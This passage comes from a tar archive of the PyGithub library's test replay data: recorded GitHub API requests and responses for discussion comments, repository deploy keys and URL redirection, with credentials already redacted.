X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FD5:216D57:5BBEE5:5C9D60:66EAA379')] {"data":{"deleteDiscussionComment":{"comment":{"id":"DC_kwDOADYVqs4AovYl"}}}} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "mutation Mutation($input: DeleteDiscussionCommentInput!) { deleteDiscussionComment(input: $input) { comment { id } } }", "variables": {"input": {"id": "DC_kwDOADYVqs4AovYk"}}} 200 [('Date', 'Wed, 18 Sep 2024 09:55:06 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'public_repo, read:discussion, read:org, user:follow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4972'), ('X-RateLimit-Reset', '1726656664'), ('X-RateLimit-Used', '28'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FA6:3A746F:5AB4A2:5B92B9:66EAA379')] {"data":{"deleteDiscussionComment":{"comment":{"id":"DC_kwDOADYVqs4AovYk"}}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RepositoryDiscussion.testGetComments.txt0000644000175100001660000001036514756101563026273 0ustar00runnerdockerhttps POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($id: ID!) {\n node(id: $id) {\n __typename\n ... on Discussion { id }\n }\n }\n ", "variables": {"id": "D_kwDOADYVqs4AaHoG"}} 200 [('Date', 'Tue, 17 Sep 2024 19:44:12 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4959'), ('X-RateLimit-Reset', '1726602697'), ('X-RateLimit-Used', '41'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FF5:1E58CD:A4D98A:A6B211:66E9DC0C')] {"data":{"node":{"__typename":"Discussion","id":"D_kwDOADYVqs4AaHoG"}}} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($discussionId: ID!, $first: Int, $last: Int, $before: String, $after: String) {\n node(id: $discussionId) {\n ... on Discussion {\n comments(first: $first, last: $last, before: $before, after: $after) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes { id }\n }\n }\n }\n }", "variables": {"discussionId": "D_kwDOADYVqs4AaHoG", "first": 30}} 200 [('Date', 'Tue, 17 Sep 2024 19:44:12 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4958'), ('X-RateLimit-Reset', '1726602697'), ('X-RateLimit-Used', '42'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7F5C:1B4C5D:A62E39:A802C1:66E9DC0C')] {"data":{"node":{"comments":{"totalCount":2,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wOC0yM1QwODozNjo1MCswMjowMM4AnxkU","endCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wOC0yOVQxODowMTowMCswMjowMM4AoA2V","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AnxkU"},{"id":"DC_kwDOADYVqs4AoA2V"}]}}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RepositoryDiscussion.testGetCommentsWithoutNodeId.txt0000644000175100001660000000350614756101563030741 0ustar00runnerdockerhttps POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($id: ID!) {\n node(id: $id) {\n __typename\n ... on Discussion { title }\n }\n }\n ", "variables": {"id": "D_kwDOADYVqs4AaHoG"}} 200 [('Date', 'Tue, 17 Sep 2024 19:36:02 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4971'), ('X-RateLimit-Reset', '1726602697'), ('X-RateLimit-Used', '29'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FA6:34173C:4D5D16:4E39DF:66E9DA22')] {"data":{"node":{"__typename":"Discussion","title":"How to get a list of custom repository properties?"}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RepositoryKey.setUp.txt0000644000175100001660000003075214756101563022655 0ustar00runnerdockerhttps GET api.github.com None /users/lra {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '1350'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '49aa99f015c25437a7443c4d3a58cd17'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"d815d342e9ffdd7a6f1d94fc37e9c605"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4944'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D0B0:6161:CBE72D5:F6C4D85:58AD4915'), ('last-modified', 'Wed, 07 Dec 2016 19:40:08 GMT'), ('date', 'Wed, 22 Feb 2017 08:17:25 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1487754126')] {"login":"lra","id":122286,"avatar_url":"https://avatars.githubusercontent.com/u/122286?v=3","gravatar_id":"","url":"https://api.github.com/users/lra","html_url":"https://github.com/lra","followers_url":"https://api.github.com/users/lra/followers","following_url":"https://api.github.com/users/lra/following{/other_user}","gists_url":"https://api.github.com/users/lra/gists{/gist_id}","starred_url":"https://api.github.com/users/lra/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lra/subscriptions","organizations_url":"https://api.github.com/users/lra/orgs","repos_url":"https://api.github.com/users/lra/repos","events_url":"https://api.github.com/users/lra/events{/privacy}","received_events_url":"https://api.github.com/users/lra/received_events","type":"User","site_admin":false,"name":"Laurent Raufaste","company":"Percolate Industries, Inc.","blog":"http://www.glop.org/","location":"New York, NY","email":"analogue@glop.org","hireable":null,"bio":"Cloud Plumber","public_repos":59,"public_gists":15,"followers":91,"following":34,"created_at":"2009-09-02T08:40:21Z","updated_at":"2016-12-07T19:40:08Z","private_gists":280,"total_private_repos":0,"owned_private_repos":0,"disk_usage":23104,"collaborators":0,"two_factor_authentication":true,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":0}} https GET api.github.com None /repos/lra/mackup {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '4352'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', 'dc1ce2bfb41810a06c705e83b388572d'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'repo'), ('etag', '"bf4fef828839ba79ee9d3f3906930bce"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4943'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D0B1:615D:4E28807:5E17392:58AD4916'), ('last-modified', 'Wed, 22 Feb 2017 05:29:13 GMT'), ('date', 'Wed, 22 Feb 2017 08:17:26 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1487754126')] {"id":9265294,"name":"mackup","full_name":"lra/mackup","owner":{"login":"lra","id":122286,"avatar_url":"https://avatars.githubusercontent.com/u/122286?v=3","gravatar_id":"","url":"https://api.github.com/users/lra","html_url":"https://github.com/lra","followers_url":"https://api.github.com/users/lra/followers","following_url":"https://api.github.com/users/lra/following{/other_user}","gists_url":"https://api.github.com/users/lra/gists{/gist_id}","starred_url":"https://api.github.com/users/lra/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lra/subscriptions","organizations_url":"https://api.github.com/users/lra/orgs","repos_url":"https://api.github.com/users/lra/repos","events_url":"https://api.github.com/users/lra/events{/privacy}","received_events_url":"https://api.github.com/users/lra/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/lra/mackup","description":"Keep your application settings in sync (OS X/Linux)","fork":false,"url":"https://api.github.com/repos/lra/mackup","forks_url":"https://api.github.com/repos/lra/mackup/forks","keys_url":"https://api.github.com/repos/lra/mackup/keys{/key_id}","collaborators_url":"https://api.github.com/repos/lra/mackup/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/lra/mackup/teams","hooks_url":"https://api.github.com/repos/lra/mackup/hooks","issue_events_url":"https://api.github.com/repos/lra/mackup/issues/events{/number}","events_url":"https://api.github.com/repos/lra/mackup/events","assignees_url":"https://api.github.com/repos/lra/mackup/assignees{/user}","branches_url":"https://api.github.com/repos/lra/mackup/branches{/branch}","tags_url":"https://api.github.com/repos/lra/mackup/tags","blobs_url":"https://api.github.com/repos/lra/mackup/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/lra/mackup/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/lra/mackup/git/refs{/sha}","trees_url":"https://api.github.com/repos/lra/mackup/git/trees{/sha}","statuses_url":"https://api.github.com/repos/lra/mackup/statuses/{sha}","languages_url":"https://api.github.com/repos/lra/mackup/languages","stargazers_url":"https://api.github.com/repos/lra/mackup/stargazers","contributors_url":"https://api.github.com/repos/lra/mackup/contributors","subscribers_url":"https://api.github.com/repos/lra/mackup/subscribers","subscription_url":"https://api.github.com/repos/lra/mackup/subscription","commits_url":"https://api.github.com/repos/lra/mackup/commits{/sha}","git_commits_url":"https://api.github.com/repos/lra/mackup/git/commits{/sha}","comments_url":"https://api.github.com/repos/lra/mackup/comments{/number}","issue_comment_url":"https://api.github.com/repos/lra/mackup/issues/comments{/number}","contents_url":"https://api.github.com/repos/lra/mackup/contents/{+path}","compare_url":"https://api.github.com/repos/lra/mackup/compare/{base}...{head}","merges_url":"https://api.github.com/repos/lra/mackup/merges","archive_url":"https://api.github.com/repos/lra/mackup/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/lra/mackup/downloads","issues_url":"https://api.github.com/repos/lra/mackup/issues{/number}","pulls_url":"https://api.github.com/repos/lra/mackup/pulls{/number}","milestones_url":"https://api.github.com/repos/lra/mackup/milestones{/number}","notifications_url":"https://api.github.com/repos/lra/mackup/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/lra/mackup/labels{/name}","releases_url":"https://api.github.com/repos/lra/mackup/releases{/id}","deployments_url":"https://api.github.com/repos/lra/mackup/deployments","created_at":"2013-04-06T19:22:54Z","updated_at":"2017-02-22T05:29:13Z","pushed_at":"2017-02-21T06:53:04Z","git_url":"git://github.com/lra/mackup.git","ssh_url":"git@github.com:lra/mackup.git","clone_url":"https://github.com/lra/mackup.git","svn_url":"https://github.com/lra/mackup","homepage":"","size":1567,"stargazers_count":5775,"watchers_count":5775,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":505,"mirror_url":null,"open_issues_count":165,"forks":505,"open_issues":165,"watchers":5775,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"network_count":505,"subscribers_count":133} https GET api.github.com None /repos/lra/mackup/keys/21870881 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '563'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', 'a6882e5cd2513376cb9481dbcd83f3a2'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"6ed85d5716042ec092f92407b0bdc2c6"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4942'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D0B3:615F:8D1E3F1:A96D742:58AD4916'), ('last-modified', 'Wed, 22 Feb 2017 08:16:23 GMT'), ('date', 'Wed, 22 Feb 2017 08:17:26 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1487754126')] {"id":21870881,"key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLOoLSVPwG1OSgVSeEXNbfIofYdxR5zs3u4PryhnamfFPYwi2vZW3ZxeI1oRcDh2VEdwGvlN5VUduKJNoOWMVzV2jSyR8CeDHH+I0soQCC7kfJVodU96HcPMzZ6MuVwSfD4BFGvKMXyCnBUqzo28BGHFwVQG8Ya9gL6/cTbuWywgM4xaJgMHv1OVcESXBtBkrqOneTJuOgeEmP0RfUnIAK/3/wbg9mfiBq7JV4cmWAg1xNE8GJoAbci59Tdx1dQgVuuqdQGk5jzNusOVneyMtGEB+p7UpPLJsGBW29rsMt7ITUbXM/kl9v11vPtWb+oOUThoFsDYmsWy7fGGP9YAFB","url":"https://api.github.com/repos/lra/mackup/keys/21870881","title":"PyGithub Test Key","verified":true,"created_at":"2017-02-22T08:16:23Z","read_only":true,"last_used":"2024-04-13T10:00:21Z","added_by":"key-admin-user"} https GET api.github.com None /repos/lra/mackup/keys/98051552 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 13 Apr 2024 10:25:13 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"5b9679b5020736bf39e0b6e78338333c755f1a12988553a672ef7ed8ce33d50a"'), ('Last-Modified', 'Sat, 13 Apr 2024 10:00:21 GMT'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2024-07-12 09:49:57 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4944'), ('X-RateLimit-Reset', '1713006347'), ('X-RateLimit-Used', '56'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF76:296021:13CBA617:13E4E368:661A5D89')] {"id":98051552,"key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOXEPB9eqJ2DwZepFxrPwCDczIReVeWOOt3NMs8KOn3h","url":"https://api.github.com/repos/lra/mackup/keys/98051552","title":"PyGithub Unused Test Key","verified":true,"created_at":"2019-02-22T08:16:23Z","read_only":true,"last_used":null,"added_by":"key-admin-user"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RepositoryKey.testDelete.txt0000644000175100001660000000225314756101563023652 0ustar00runnerdockerhttps DELETE api.github.com None /repos/lra/mackup/keys/21870881 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4941'), ('x-github-media-type', 'github.v3; format=json'), ('x-content-type-options', 'nosniff'), ('content-security-policy', "default-src 'none'"), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D0B4:6161:CBE73FE:F6C4EF4:58AD4917'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('access-control-allow-origin', '*'), ('x-ratelimit-limit', '5000'), ('x-xss-protection', '1; mode=block'), ('x-served-by', '52437fedc85beec8da3449496900fb9a'), ('date', 'Wed, 22 Feb 2017 08:17:27 GMT'), ('x-frame-options', 'deny'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user'), ('x-accepted-oauth-scopes', ''), ('x-ratelimit-reset', '1487754126')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Requester.testBaseUrlHostRedirection.txt0000644000175100001660000000027014756101563026157 0ustar00runnerdockerhttps GET www.github.com None /repos/PyGithub/PyGithub {'User-Agent': 'PyGithub/Python'} None 301 [('Content-Length', '0'), ('Location', 'https://github.com/repos/PyGithub/PyGithub')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Requester.testBaseUrlPortRedirection.txt0000644000175100001660000000030014756101563026160 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'User-Agent': 'PyGithub/Python'} None 301 [('Content-Length', '0'), ('Location', 'https://api.github.com:443/repos/PyGithub/PyGithub')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Requester.testBaseUrlPrefixRedirection.txt0000644000175100001660000001734414756101563026511 0ustar00runnerdockerhttps GET api.github.com None /api/v3/repos/PyGithub/PyGithub {'User-Agent': 'PyGithub/Python'} None 301 [('Content-Length', '0'), ('Location', 'https://api.github.com/repos/PyGithub/PyGithub')] https GET api.github.com None /repos/PyGithub/PyGithub {'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 09 May 2023 08:03:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c4bbbf57b6ff21caac0b59dec0ae83b3b9e66a234db40e22ee60c1b26b771a3f"'), ('Last-Modified', 'Tue, 09 May 2023 07:44:21 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '55'), ('X-RateLimit-Reset', '1683622021'), ('X-RateLimit-Resource', 'core'), ('X-RateLimit-Used', '5'), ('Accept-Ranges', 'bytes'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', 'C22C:5529:6AEA2F:6BEA9A:6459FE6B')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{